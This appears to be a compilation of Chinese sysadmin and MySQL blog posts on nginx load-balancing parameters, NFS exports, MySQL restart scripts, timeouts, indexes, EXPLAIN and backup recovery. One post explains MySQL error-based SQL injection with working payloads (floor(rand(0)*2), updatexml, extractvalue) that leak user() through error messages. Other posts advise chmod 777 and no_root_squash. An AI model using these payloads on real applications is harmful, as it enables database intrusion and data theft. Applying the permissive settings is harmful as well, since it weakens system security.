Nginx作HTTP的负载均衡max_fails和fail_timeout如何设置?

很多同学,经常利用Nginx来作HTTP的负载均衡,但是对于Nginx的负载均衡原理却了解得不够,如,今天讲解的max_fails、fail_timeout参数。

一、描述

在Nginx的负载均衡检查模块中,对于负载均衡的节点可以配置如下可选参数参数:

max_fails=1 fail_timeout=10s

这个是Nginx在负载均衡功能中,用于判断后端节点状态,所用到两个参数。

Nginx基于连接探测,如果发现后端异常,在单位周期为fail_timeout设置的时间,中达到max_fails次数,这个周期次数内,如果后端同一个节点不可用,那么接将把节点标记为不可用,并等待下一个周期(同样时常为fail_timeout)再一次去请求,判断是否连接是否成功。

默认:fail_timeout为10s,max_fails为1次。

二、探讨

经过这几天的压力测试和研究,如下:

1、在后端服务能力正常,nginx 可以调节如下阀值,增加其并发能力。

这些参数主要是一次请求,超时时间间隔。课程中有介绍到。

client_header_timeout 30;
client_body_timeout 30;
send_timeout 30;
read_timeout 30;```

这里,表示允许后端节点失败次数,如果调大,Nginx相当于把请求缓冲,如果整体的的后端服务处于可用状态,对于高并发的场景来说,建议适当调大是有效的。

max_fails=10 fail_timeout=60s`

当然,和所有优化阀值一样,数值加大,对应于给Nginx的压力也会相应加大。

2、检测方式及对后端服务性能

Nginx只有当有访问时后,才发起对后端节点探测。如果本次请求中,节点正好出现故障,Nginx将把请求转交给接下来的节点处理。所以不会影响到这次请求的正常进行。

linux 配置nfs挂载共享目录

第一步:安装nfs;

第二步:启动nfs;

service nfs start

第三步:编辑/etc/exports文件;

加入:/xxxdir
xxx.xxx.xxx.xxx(rw,sync,no_root_squash),xxx.xxx.xxx.xxx是要挂载的IP

例如:

/temp      192.168.9.19(rw,sync,no_root_squash)
/共享目录        地址      (权限)

地址可以使用完整IP或网段,也可以地址可以使用主机名,DNS解析的和本地/etc/hosts解析的都行

权限有:  
rw:read-write,可读写;    注意,仅仅这里设置成读写客户端还是不能正常写入,还要正确地设置共享目录的权限,参考问题7  
ro:read-only,只读;  
sync:文件同时写入硬盘和内存;  
async:文件暂存于内存,而不是直接写入内存;  
no_root_squash:NFS客户端连接服务端时如果使用的是root的话,那么对服务端分享的目录来说,也拥有root权限。显然开启这项是不安全的。  
root_squash:NFS客户端连接服务端时如果使用的是root的话,那么对服务端分享的目录来说,拥有匿名用户权限,通常他将使用nobody或nfsnobody身份;  
all_squash:不论NFS客户端连接服务端时使用什么用户,对服务端分享的目录来说都是拥有匿名用户权限;  
anonuid:匿名用户的UID值,通常是nobody或nfsnobody,可以在此处自行设定;  
anongid:匿名用户的GID值。 

第四步:重启nfs服务

service nfs restart

不影响其他挂载目录情况下加载应用exports修改:

exportfs -r
或者
service nfs reload

第五步:在挂载机上(上面例子中192.168.9.19)新建目录,比如/itemp,并更改权限

chmod -R 777 itemp

最后挂载:

mount -t nfs 共享主机IP:/temp /itemp

Linux中利用shell脚本定时检测mysql状态,实现自动重启

问题简介

未分类

最近几个月网站服务器老是半夜挂掉,罪魁祸首就是 mysql 自动停止导致的,那就头痛医头,想办法让Mysql 自动启动起来。要解决这个mysql无规律自动停掉的问题,首先给服务器加个定时执行任务,每分钟去检测一下数据库服务的运行状态,要是down 掉了,就立马启动起来。

处理步骤

第一步,添加定时任务,使用crontab。

crontab -e
*/1 * * * * /目录/文件名.sh

#表示每分钟执行一次 sh 文件

第二步,编写shell执行文件,代码如下:

#!/bin/bash
pgrep -x mysqld &> /dev/null
if [ $? -ne 0 ]
then
echo “At time: `date` :MySQL is stop .”>> /日志路径
/etc/init.d/mysqld start
else
echo “MySQL server is running .”
fi

这里要注意,不能用

service mysqld/mysql start

命令来启动,会导致mysql启动不了,应使用绝对路径,

/etc/init.d/mysqld start

来启动。

另外,也可以不写入日志。删掉>> /日志路径即可。

完成。

就是这么简单。如发现这样操作了,还没有得到期望的结果,可排查crontab是否执行了相应的任务,脚本权限是否够,脚本内部命令或格式是否正确等方面。

如写入

*/1 * * * * echo “test” >> /var/log/test

检测cron是否正确执行。

再看看crontab的执行历史记录:

cd /var/log
tail -100 cron

若权限不够,则加上权限。

chmod 777 ./shell文件.sh

mysql报错注入总结

最近又深刻的研究了一下mysql的报错注入,发现很多值得记录的东西,于是写了这篇博客做一个总结,目的是为了更深刻的理解报错注入

报错注入原因及分类

  • 既然是研究报错注入,那我们先要弄明白为什么我们的注入语句会导致数据库报错,报错的原因我自己总结了一下,有以下几点

重复数据报错,这里的重复主要有两个方面,其中之一是基于主键的唯一性:一个表主键必须是唯一的,如果一个表尝试生成两个相同的主键,就会爆出Duplicate entry ‘1’ for key ‘group_key’的主键重复错误,于是根据这种报错就产生了floor(rand(0)*2)等注入手法,另外一个就是基于列名的唯一性,如果我们在一个表中构造了两个相同的列名,就会产生Duplicate column name的错误,报错方法通常有NAME_CONST,或者利用join和using关键字连接同一个表创建子查询进行报错,这个方法从lctf2017 pcat大佬的writeup中学到的,在我的另一篇文章中会提到

  • 基于数据类型不一致而产生的报错:mysql的一些函数参数要求的是什么数据类型,如果数据类型不符合,自然就会报错,这种报错也是相对容易理解的,根据这种特性产生的报错注入有updatexml,extractvalue等注入手法

  • 基于BIGINT溢出错误的SQL注入,根据超出最大整数溢出产生的错误,这类报错注入是在mysql5.5.5版本后才产生的,5.5.5版本前并不会因为整数溢出而报错,这种注入自己在phpstudy上试了试,mysql版本为5.5.53,虽然报错了但是并没有爆出信息,以后研究出来再补充

  • 其他报错,企业级代码审计这本书上看到的,一些mysql空间函数geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring(),通过这些报错会产生Illegal non geometric的错误,里面同时包含了我们构造查询语句的信息

原理分析

接下来对上面列出的一些报错注入一个个进行分析

基于主键值重复

floor(rand(0)*2):我们在进行报错注入时用的相对较多的方法,网上给出的报错语句大部分是这样的

id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

看到这是不是有点云里雾里的感觉呢,没关系,我也因为这个语句纠结了一段时间,比如为什么要floor(rand(0)*2),为什么要用到information_schema.tables这个表,接下来我们就把它彻底弄明白,先看rand()这个函数,这个函数都知道是产生随机数的,但是当rand(0)被计算多次时它所产生的值是有规律的,我们以information_schema.tables这个表进行示范,因为它里面的数据多,别的表也可以,只要数据量够多,这样可以使rand(0)计算多次,便于观察,为了更便于观察,我们取前30条记录,查询语句

mysql> select rand(0) from information_schema.tables limit 0,30;

+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
|   0.620881741513388 |
|  0.6387474552157777 |
| 0.33109208227236947 |
|  0.7392180764481594 |
|  0.7028141661573334 |
|  0.2964166321758336 |
|  0.3736406931408129 |
|  0.9789535999102086 |
|  0.7738459508622493 |
|  0.9323689853142658 |
|  0.3403071047182261 |
|  0.9044285983819781 |
|   0.501221708488857 |
|  0.7928227780319962 |
|  0.4604487954270549 |
|  0.9237756737729308 |
| 0.23753201331713425 |
|  0.4163330760005238 |
|  0.3690693707848614 |
|  0.5963476566563805 |
|   0.874530201660963 |
|  0.5836080690693185 |
| 0.29444977109734877 |
|  0.7214246790124333 |
|  0.7237741125037652 |
|  0.4545965562151713 |
| 0.10166047429820567 |
| 0.14451273357915947 |
|  0.4175822757348253 |
+---------------------+
30 rows in set (0.05 sec)

通过多次测试观察可以发现规律,每次执行sql语句多次计算rand(0)时,rand(0)产生的值是总是固定的,不管执行多少次语句,多次计算的rand(0)的前30条总是和上面得计算结果一样,那么可以做出结论之后的结果也总是一样,观察上述计算结果,看似杂乱的数值其实都有着一个范围界限,那就是0~0.5,0.5~1,我们将rand(0)*2再观察一下

mysql> select rand(0)*2 from information_schema.columns limit 0,30;

+---------------------+
| rand(0)*2           |
+---------------------+
|  0.3104408553898715 |
|   1.241763483026776 |
|  1.2774949104315554 |
|  0.6621841645447389 |
|  1.4784361528963188 |
|  1.4056283323146668 |
|  0.5928332643516672 |
|  0.7472813862816258 |
|  1.9579071998204172 |
|  1.5476919017244986 |
|  1.8647379706285316 |
|  0.6806142094364522 |
|  1.8088571967639562 |
|   1.002443416977714 |
|  1.5856455560639924 |
|  0.9208975908541098 |
|  1.8475513475458616 |
|  0.4750640266342685 |
|  0.8326661520010477 |
|  0.7381387415697228 |
|   1.192695313312761 |
|   1.749060403321926 |
|   1.167216138138637 |
|  0.5888995421946975 |
|  1.4428493580248667 |
|  1.4475482250075304 |
|  0.9091931124303426 |
| 0.20332094859641134 |
| 0.28902546715831895 |
|  0.8351645514696506 |
+---------------------+
30 rows in set (0.69 sec)

此时界限分隔值变成了1,数值都是零点几的小数和一点几的小数,于是用floor处理一下

mysql> select floor(rand(0)*2) from information_schema.columns limit 0,30;

+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
|                0 |
|                1 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                1 |
|                0 |
|                1 |
|                0 |
|                0 |
|                0 |
|                1 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
|                0 |
|                0 |
|                0 |
+------------------+

于是就有了floor(rand(0)2),同样的,每次执行多次floor(rand(0)2),所得的结果也总是这样固定,我们只看前6个数字,总是0,1,1,0,1,1这样的顺序,后面的数也是如此有着自己的顺序

接下来我们构造一个sql语句,它可以报出Duplicate的错误

mysql> select count(*) from information_schema.tables group by floor(rand(0)*2);

ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

分析这条语句,当进行count(),group by聚合函数分组计算时,mysql会创建一个虚拟表,虚拟表由主键列和count()列两列组成,同时floor(rand(0)2)这个值会被计算多次,这一点很重要,计算多次是指在取数据表数据使用group by时,进行一次floor(rand(0)2),如果虚拟表中不存在此数据时,那么在往虚拟表插入数据时,floor(rand(0)2)将会再被计算一次,接下来分析,取数据表第一条记录时第一次使用group by,计算floor(rand(0)2)的值为0,查询虚拟表发现0这个主键不存在,于是再次计算floor(rand(0)2)结果为1,将1作为主键插入虚拟表,这时主键1的count()值为1,接下来取数据表第二条记录时第二次使用group by,计算floor(rand(0)2),结果为1,然后查询虚拟表,发现1的键值存在,于是count()的值加1,取数据表第三条记录时第三次使用group by,计算floor(rand(0)2)值为0,查询虚拟表,发现0的键值不存在,于是再一次计算floor(rand(0)2),结果为1,当尝试将1插入虚拟表中时,发现主键1已经存在,所以报出主键重复的错误,整个过程中查询了information_schema.tables这个表3条记录发生报错,这也是报错为什么需要数据表的记录多到至少为3条的原因,也是为什么选择information_schema.tables表的原因,因为这个表中的记录一定大于三条,由此可知我们其实还以选择information_schema.columns,information_schema.schemata等表

下面构造语句

mysql> select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x3a,user());
ERROR 1062 (23000): Duplicate entry '1:root@localhost' for key 'group_key'

是不是看着很眼熟,没错,这就是我们在开头给出的那个复杂的语句,只不过开头的那个加了个子查询,其实and后的括号里直接写这个语句也能达到一样的效果

mysql> select * from user where id=1 and (select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x3a,user()));
ERROR 1062 (23000): Duplicate entry '1:root@localhost' for key 'group_key'

把user()换成其他查询语句,就可以注入出别的数据

基于数据类型的不一致

updatexml(1,XPATH,1)函数的第二个参数要求为XPATH格式,如果我们把它改为字符串格式,那么就会爆出XPATH syntax error的错误,于是构造sql语句

mysql> select * from user where id=1 and updatexml(1,(concat(1,user())),1);
ERROR 1105 (HY000): XPATH syntax error: 'root@localhost'

利用concat函数返回字符串产生报错,同样的函数还有extractvalue(1,XPATH)

mysql> select * from user where id=1 and extractvalue(1,(concat(1,user())));
ERROR 1105 (HY000): XPATH syntax error: 'root@localhost'

Mysql表的数据达到千万级别解决思路

在大神的指导下,我总结如下:

1、建立合适的索引

所谓的合适的索引包括很多内容,比如一开始对于where条件里面的sql语句要建立索引,这样才能查询速度变快,至于建立什么样子的索引根据业务自己建立,这这要说下注意点。比如sql里面语句有like,那like的字段就要建立全文索引,sql语句里面‘%’所在的位置因位置不同而起的作用也不同,这个可以问问度娘。当时由于我的where条件比较多,就没有使用联合索引,网上说这个索引在where条件里面效果非常好。

2、优化sql语句

其实操作单表sql语句并不复杂,但这里面所涉及到的知识点也是很多,sql能根据id的最好能依靠id,因为id一般为主键索引,他的查询速度很快。这里可以用mysql里面的explain来查看sql到底性能怎么样,具体可以看这个http://www.fang99.cc/index.php/Home/Article/detail/id/3380.html。

3、分页

其实分页当时我也做了,这个也要有。因为数据大,不可能展示所有的数据给用户看,没这个必要。另外在拼接分页的sql语句能走id最好。

4、数据库容量

网上查资料说mysql的存储数据能达到千万级别,但是我在实际运用中并没有做到大神们的那个样子。后来看了下别人的同类产品,他们直接对数据库的容量定量了,比如只存储一百万数据,超过则提醒用户,并且每更新一条数据就覆盖最后一条数据。

以上仅个人看法,如有不对的地方,希望大神门指导下!

利用MySQL全备份,如何只恢复一个库或者一个表?

未分类

在实际工作中,一个MySQL实例中可能有多个database。而我们备份时,通常采用完全备份,将所有database都备份到一个文件中。

但是,偶尔会遇到只恢复一个database或者一个表的情况。怎么解决呢?

一、利用全备恢复一个库(database)的数据

案例:朋友在群里问, MySQL全库备份。如何只恢复一个库?

1、采用–one-database 选项。不建议使用该方式,经常出现问题。

# mysql -uroot -pxx -D db1 -o 

2、从全备份文件中将需要的库的建表语句和INSERT数据拿出来,然后再导入

# sed -n '/^-- Current Database: `db1`/,/^-- Current Database: `/p' all.dmp > db1.sql 

# mysql -uroot -pxx -D db1 

二、利用全备恢复一张表(table)的数据

生产中遇到开发同事更新表时未加上where条件,造称 order_status 列所有数据都被更新为0.

通常,mysqldump对全库进行备份。恢复时如果恢复全库,太耗时间又没有必要。所以,我们只恢复想要的表即可。

mysqldump备份中,既有表结构,又有INSERT INTO语句包含数据。所以获得者两部分内容即可。

1、获得表结构

# sed -e'/./{H;$!d;}' -e 'x;/CREATE TABLE `ecs_ugo_order_info`/!d;q' mysqldump_2017-05-23.sql 

2、获得INSERT INTO 语句,用于数据的恢复

# grep -i 'INSERT INTO `ecs_ugo_order_info`' mysqldump_2017-05-23.sql >data.sql & 

3、根据得到的表结构创建表,并导入数据

mysql -uroot -pxxx xx 

4、拼接update语句

mysql> select concat('update xx.ecs_ugo_order_info set order_status=',order_status,' where order_id=',order_id,';') from ecs_ugo_order_info into outfile '/tmp/ecs_ugo_order_info_rercovery.sql';  

结果如下:

update xx.ecs_ugo_order_info set order_status=6 where order_id=3254778; 

update xx.ecs_ugo_order_info set order_status=6 where order_id=3254824; 

update xx.ecs_ugo_order_info set order_status=6 where order_id=3254870; 

5、在生产库中将order_status恢复成正常值

# mysql -uroot -pxxx xx < /tmp/ecs_ugo_order_info_rercovery.sql

如何配置MySQL数据库超时设置

最近备战京东双11,在配置MySQL的超时配置发现有很多地方可以设置。这么多超时的配置有什么影响,以及配置会有什么影响呢?今天的文章就让我来大家来分析一下。

1. JDBC超时设置

connectTimeout:表示等待和MySQL数据库建立socket链接的超时时间,默认值0,表示不设置超时,单位毫秒,建议30000

socketTimeout:表示客户端和MySQL数据库建立socket后,读写socket时的等待的超时时间,linux系统默认的socketTimeout为30分钟,可以不设置

2. 连接池超时设置

maxWait:表示从数据库连接池取链接,连接池没有可用连接时的等待时间,默认值0,表示无限等待,单位毫秒,建议60000

未分类

3. MyBatis查询超时

defaultStatementTimeout:表示在MyBatis配置文件中默认查询超时间,单位秒,不设置则无线等待

未分类

如果一些sql需要执行超过defaultStatementTimeout可以通过Mapper文件单独的sql的timeout进行配置

未分类

4. 事务超时

事务超时用于控制事务执行的超时,执行时间是事务内所有代码执行总和,单位为秒。

未分类

总结

高级别的timeout依赖于低级别的timeout,只有当低级别的timeout无误时,高级别的timeout才能确保正常。例如,当socket timeout出现问题时,高级别的statement timeout和transaction timeout都将失效。

1. Transaction Timeout

Spring提供的transaction timeout配置非常简单,它会记录每个事务的开始时间和消耗时间,当特定的事件发生时就会对消耗时间做校验,当超出timeout值时将抛出异常。

假设某个事务中包含5个statement,每个statement的执行时间是200ms,其他业务逻辑的执行时间是100ms,那么transaction timeout至少应该设置为1,100ms(200 * 5 + 100)。

2. Statement Timeout

statement timeout用来限制statement的执行时长,timeout的值通过调用JDBC的java.sql.Statement.setQueryTimeout(int timeout) API进行设置。不过现在开发者已经很少直接在代码中设置,而多是通过框架来进行设置。

在iBatis中,statement timeout的默认值可以通过sql-map-config.xml中的defaultStatementTimeout 属性进行设置。同时,你还可以设置sqlmap中select,insert,update标签的timeout属性,从而对不同sql语句的超时时间进行独立的配置。

3. Socket timeout

JDBC的socket timeout在数据库被突然停掉或是发生网络错误(由于设备故障等原因)时十分重要。由于TCP/IP的结构原因,socket没有办法探测到网络错误,因此应用也无法主动发现数据库连接断开。如果没有设置socket timeout的话,应用在数据库返回结果前会无期限地等下去,这种连接被称为dead connection。

为了避免dead connections,socket必须要有超时配置。socket timeout可以通过JDBC设置,socket timeout能够避免应用在发生网络错误时产生无休止等待的情况,缩短服务失效的时间。

不推荐使用socket timeout来限制statement的执行时长,因此socket timeout的值必须要高于statement timeout,否则,socket timeout将会先生效,这样statement timeout就变得毫无意义,也无法生效。

mysql 查看索引、添加索引、删除索引命令

查看索引

mysql> show index from tblname;
mysql> show keys from tblname;


mysql> show index from center_bank_rate;
+------------------+------------+----------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
| Table            | Non_unique | Key_name | Seq_in_index | Column_name | Collation | Cardinality | Sub_part | Packed | Null | Index_type | Comment | Index_comment |
+------------------+------------+----------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
| center_bank_rate |          0 | PRIMARY  |            1 | id          | A         |           8 |     NULL | NULL   |      | BTREE      |         |               |
+------------------+------------+----------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
1 row in set (0.00 sec)

· Table
表的名称。

· Non_unique
如果索引不能包括重复词,则为0。如果可以,则为1。

· Key_name
索引的名称。

· Seq_in_index
索引中的列序列号,从1开始。

· Column_name
列名称。

· Collation
列以什么方式存储在索引中。在MySQL中,有值‘A’(升序)或NULL(无分类)。

· Cardinality
索引中唯一值的数目的估计值。通过运行ANALYZE TABLE或myisamchk -a可以更新。基数根据被存储为整数的统计数据来计数,所以即使对于小型表,该值也没有必要是精确的。基数越大,当进行联合时,MySQL使用该索引的机 会就越大。

· Sub_part
如果列只是被部分地编入索引,则为被编入索引的字符的数目。如果整列被编入索引,则为NULL。

· Packed
指示关键字如何被压缩。如果没有被压缩,则为NULL。

· Null
如果列含有NULL,则含有YES。如果没有,则该列含有NO。

· Index_type
用过的索引方法(BTREE, FULLTEXT, HASH, RTREE)。

· Comment

添加索引

ALTER TABLE Persons
ADD CONSTRAINT uc_PersonID UNIQUE (Id_P,LastName)

删除索引

mysql> alter table center_bank_rate drop index UK_r60biiucgoujcw6htlywu02bg;

Query OK, 8 rows affected (0.11 sec)
Records: 8  Duplicates: 0  Warnings: 0

读懂MySQL执行计划

前言

在之前的面试过程中,问到执行计划,有很多童鞋不知道是什么?甚至将执行计划与执行时间认为是同一个概念。今天我们就一起来了解一下执行计划到底是什么?有什么用途?

执行计划是什么?

执行计划,简单的来说,是SQL在数据库中执行时的表现情况,通常用于SQL性能分析,优化等场景。在MySQL使用 explain 关键字来查看SQL的执行计划。如下所示:

//1. 查询t_base_user
select * from t_base_user where name="andyqian";

//2. 查看上述语句的执行计划
explain select * from t_base_user where name="andyqian";

执行查看上述2语句后,我们可以得出以下执行计划结果

id | select_type|table|type|possible_kes|key|key_len|ref|rows|Extra
—|—|—|—|—|—|—|—|—|—
1|SIMPLE|t_base_user|ALL| | | |1|Using where

上面执行计划是什么意思呢?有什么参考价值呢?

上面这个执行计划给到的信息是: 这个结果通过一个简单的语句全表扫描,共扫描1行,使用where条件在t_base_user表中筛选出的。发现该语句并没有走索引,为什么是这样的呢?别急,我们紧接着看下一节。

读懂执行计划

通过上面,我们知道了什么是执行计划,也看到了执行计划到底是什么东西,现在我们来具体了解一下,MySQL执行计划中,每个属性代表的是什么意思?

id  select_type table   type    possible_kes    key        key_len      ref    rows    Extra

我们一一来介绍,并说明每个属性有哪些可选值,以及每个可选值的意思。

  • id
    表示查询中select操作表的顺序,按顺序从大到依次执行

  • select_type :
    该表示选择的类型,可选值有: SIMPLE(简单的),

  • type :

该属性表示访问类型,有很多种访问类型。
最常见的其中包括以下几种: ALL(全表扫描), index(索引扫描),range(范围扫描),ref (非唯一索引扫描),eq_ref(唯一索引扫描,),(const)常数引用, 访问速度依次由慢到快。

其中 : range(范围)常见与 between and …, 大于 and 小于这种情况。
提示 : 慢SQL是否走索引,走了什么索引,也就可以通过该属性查看了。

  • table :
    表示该语句查询的表

  • possible_keys :
    顾名思义,该属性给出了,该查询语句,可能走的索引,(如某些字段上索引的名字)这里提供的只是参考,而不是实际走的索引,也就导致会有possible_Keys不为null,key为空的现象。

  • key :
    显示MySQL实际使用的索引,其中就包括主键索引(PRIMARY),或者自建索引的名字。

  • key_len :
    表示索引所使用的字节数,

  • ref :
    连接匹配条件,如果走主键索引的话,该值为: const, 全表扫描的话,为null值

  • rows :
    扫描行数,也就是说,需要扫描多少行,采能获取目标行数,一般情况下会大于返回行数。通常情况下,rows越小,效率越高, 也就有大部分SQL优化,都是在减少这个值的大小。

注意: 理想情况下扫描的行数与实际返回行数理论上是一致的,但这种情况及其少,如关联查询,扫描的行数就会比返回行数大大增加)

  • Extra
    这个属性非常重要,该属性中包括执行SQL时的真实情况信息,如上面所属,使用到的是”using where”,表示使用where筛选得到的值,常用的有:
    “Using temporary”: 使用临时表 “using filesort”: 使用文件排序

看到这里,我们应该已经发现,在第一步中,我们的这条SQL

select * from t_base_user where name="andyqian";

是没有走索引的,而且还是全表扫描,在数据量少的情况下,问题还不会特别突出,如果数据量比较大,这可是个会造成生产事故的慢查询哦,现在我们改造一下,将name字段添加上索引,

# 添加索引
alter table t_base_user add index idx_name(name);

看看它的执行计划是怎样的。

id | select_type|table|type|possible_kes|key|key_len|ref|rows|Extra
—|—|—|—|—|—|—|—|—|—
1|SIMPLE|t_base_user|ref|idx_name|idx_name|93|cons|1|Using where

你看,现在已经走idx_name索引了,其type从All(全表扫描)到ref(非唯一索引了),别看就只有这一点点小区别,在大数据量的时候,可是会起大作用的哦。

数据结

本文中演示的数据结构如下:

# 创建表  
create table t_base_user(
oid bigint(20) not null primary key auto_increment,
name varchar(30) null comment "name",
email varchar(30) null comment "email",
age int null comment "age",
telephone varchar(30) null comment "telephone",
status tinyint(4) null comment "0  无效 1 有效",
created_at datetime null comment "",
updated_at datetime null comment ""
)

## 新增记录:
insert into t_base_user(name,email,age,telephone,created_at,updated_at)values("andyqian","[email protected]",20,"15608411",now(),now());
)

最后

一个好的数据库表设计,从一开始就应该考虑添加索引,而不是到最后发现慢SQL了,影响业务了,才来补救。其实我在工作经历当中,由于新建表,或新加字段后,忘记添加索引也造成了多次生产事故,记忆犹新!!!
其实新建索引也是有一定的原则的,建什么索引,建在哪些字段上,这里面还有不少知识呢,下一篇文章写,尽请期待吧!

MySQL 备份和恢复机制

一、 备份恢复策略

进行备份或恢复操作时需要考虑一些因素:

  • 确定要备份的表的存储引擎是事务型还是非事务型,两种不同的存储引擎备份方式在处理数据一致性方面是不太一样的。

  • 确定使用全备份还是增量备份。全备份的优点是备份保持最新备份,恢复的时候可以花费更少的时间;缺点是如果数据量大,将会花费很多的时间,并对系统造成较长时间的压力。增量备份相反,只需要备份每天的增量日志,备份时间少,对负载压力也小;缺点就是恢复的时候需要全备份加上次备份到故障前的所有日志,恢复时间长一些。

  • 可以考虑采用复制的方法来做异地备份,但不能代替备份,它对数据库的误操作也无能为力。

  • 要定期做备份,备份的周期要充分考虑系统可以承受的恢复时间。备份要在系统负载较小的时候进行

  • 确保 MySQL 打开 log-bin 选项,有了 binlog,MySQL 才可以在必要的时候做完整恢复,或基于时间点的恢复,或基于位置的恢复。

  • 经常做备份恢复测试,确保备份时有效的,是可以恢复的。

二、 逻辑备份和恢复

在 MySQL 中,逻辑备份的最大优点是对于各种存储引擎都可以用同样的方法来备份;而物理备份则不同,不同的存储引擎有着不同的备份方法,因此,对于不同存储引擎混合的数据库,逻辑备份会简单一点。

1. 备份

MySQL 中的逻辑备份是将数据库中的数据备份为一个文本文件,备份的文件可以被查看和编辑。在 MySQL 中,可以使用 mysqldump 工具来完成逻辑备份:

// 备份指定的数据库或者数据库中的某些表  
shell> mysqldump [options] db_name [tables]  

// 备份指定的一个或多个数据库  
shell> mysqldump [options] --database DB1 [DB2,DB3...]  

// 备份所有数据库  
shell> mysqldump [options] --all-database

如果没有指定数据库中的任何表,默认导出所有数据库中的所有表。

示例:

(1). 备份所有数据库:

shell>mysqldump -uroot -p --all-database > all.sql

(2). 备份数据库 test

shell>mysqldump -uroot -p test > test.sql

(3). 备份数据库 test 下的表 emp

shell> mysqldump -uroot -p test emp > emp.sql

(4). 备份数据库 test 下的表 emp 和 dept

shell> mysqldump -uroot -p test emp dept > emp_dept.sql 

(5). 备份数据库test 下的所有表为逗号分割的文本,备份到 /tmp:

shell> mysqlddump -uroot -p -T /tmp test emp --fields-terminated-by ','
shell> more emp.txt  

1,z1
2,z2
3,z3
4,z4

注意: 为了保证数据备份的一致性,myisam 存储引擎在备份时需要加上 -l 参数,表示将所有表加上读锁,在备份期间,所有表将只能读而不能进行数据更新。但是对于事务存储引擎来说,可以采用更好的选项 –single-transaction,此选项使得 innodb 存储引擎得到一个快照(snapshot),使得备份的数据能够保证一致性。

2. 完全恢复

mysqldump 的恢复也很简单,将备份作为输入执行即可:

mysql -uroot -p db_name < backfile

注意,将备份恢复后数据并不完整,还需要将备份后执行的日志进行重做:

mysqlbinlog binlog-file | mysql -uroot -p

完整的 mysqldump 备份与恢复示例:

(1). 凌晨 2:00,备份数据库:

root@bogon:/usr/local/mysql/bin$ ./mysqldump -uroot -p -l -F t2 > t2.dmp
Enter password: 

其中 -l 参数表示给所有表加读锁,-F 表示生成一个新的日志文件,此时,t2 中 emp 表的数据如下:

# 为了便于测试,执行 reset master 删除所有 binlog。
MySQL [(none)]> reset master;
Query OK, 0 rows affected (0.00 sec)

# 此时只有一个 binlog 日志文件   mysql-bin.000001
MySQL [t2]> select * from test;
+------+------+
| id   | name |
+------+------+
|    1 | a    |
|    2 | b    |
+------+------+
2 rows in set (0.00 sec)

(2). 备份完毕后,插入新的数据:

# 因为上一步执行是加入了 -F 选项, 所以接下来的操作会被记录到新的二进制文件,即名为 mysql-bin.000002 的文件
MySQL [t2]> insert into test values (3,'c');
Query OK, 1 row affected (0.00 sec)

MySQL [t2]> insert into test values (4,'d');
Query OK, 1 row affected (0.00 sec)

(3). 数据库突然故障(其实是小伙伴没事儿删库练手玩儿),数据无法访问。需要恢复备份:

删库跑路:

# 这里为了便于测试,不把删库操作记入日志,当前 session 设置 sql_log_bin 为 off。
# 删库后,执行 flush logs,让后续的 binlog 到新的文件中,即名为 mysql-bin.000003中
MySQL [t2]> set sql_log_bin = 0;
Query OK, 0 rows affected (0.00 sec)

MySQL [t2]> show variables like "%sql_log_bin%";
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| sql_log_bin   | OFF   |
+---------------+-------+
1 row in set (0.00 sec)

MySQL [t2]> drop database t2;
Query OK, 1 row affected (0.01 sec)

MySQL [(none)]> flush logs;
Query OK, 0 rows affected (0.22 sec)


MySQL [t2]> drop database t2;
Query OK, 3 rows affected (0.23 sec)

MySQL [(none)]> exit;
Bye

数据恢复:

root@bogon:/usr/local/mysql/bin# ./mysql -e "create database t2"   
root@bogon:/usr/local/mysql/bin# ./mysql t2 < t2.dmp 

*******************************************************************
MySQL [t2]> select * from test;
+------+------+
| id   | name |
+------+------+
|    1 | a    |
|    2 | b    |
+------+------+
2 rows in set (0.00 sec)

(4). 使用 mysqlbinlog 恢复自 mysqldump 备份以来的 binglog

根据前面操作的内容,可知从备份的时间点到删库的时间点之间的操作被记录到了 mysql-bin.000002 文件中

root@bogon:/usr/local/mysql/bin# ./mysqlbinlog --no-defaults /data/mysql/mysql-bin.000002 | ./mysql t2

*******************************************************
MySQL [t2]> select * from test;
+------+------+
| id   | name |
+------+------+
|    1 | a    |
|    2 | b    |
|    3 | c    |
|    4 | d    |
+------+------+
4 rows in set (0.00 sec)

至此,数据恢复成功。

3. 基于时间点恢复

由于误操作,比如误删除了一张表,这时使用完全恢复时没有用的,因为日志里面还存在误操作的语句,我们需要的是恢复到误操作之前的状态,然后跳过误操作语句,再恢复后面执行的语句,完成恢复。这种恢复叫不完全恢复,在 MySQL 中,不完全恢复分为 基于时间点的恢复和基于位置的恢复。 基于时间点恢复的操作步骤:

(1) 如果是上午 10 点发生了误操作,可以用以下语句用备份和 binlog 将数据恢复到故障前:

shell>mysqlbinlog --stop-date="2017-09-30 9:59:59" /data/mysql/mysql-bin.123456 | mysql -uroot -ppassword

(2) 跳过故障时的时间点,继续执行后面的 binlog,完成恢复。

shell>mysqlbinlog --start-date="2017-09-30 10:01:00" /data/mysql/mysql-bin.123456 | mysql -uroot -ppassword

4. 基于位置恢复

和基于时间点的恢复类似,但是更精确,因为同一个时间点可能有很多条 sql 语句同时执行。恢复的操作步骤如下:

(1) 在 shell 下执行命令:

shell>mysqlbinlog --start-date="2017-09-30 9:59:59" --stop-date="2017-09-30 10:01:00" /data/mysql/mysql-bin.123456 > /tmp/mysql_restore.sql

该命令将在 /tmp 目录创建小的文本文件,编辑此文件,知道出错语句前后的位置号,例如前后位置号分别为 368312 和 368315。

(2) 恢复了以前的备份文件后,应从命令行输入下面的内容:

shell>mysqlbinlog --stop-position="368312" /data/mysql/mysql-bin.123456 | mysql -uroot -ppassword  
shell>mysqlbinlog --start-position="368315" /data/mysql/mysql-bin.123456 | mysql -uroot -ppassword 

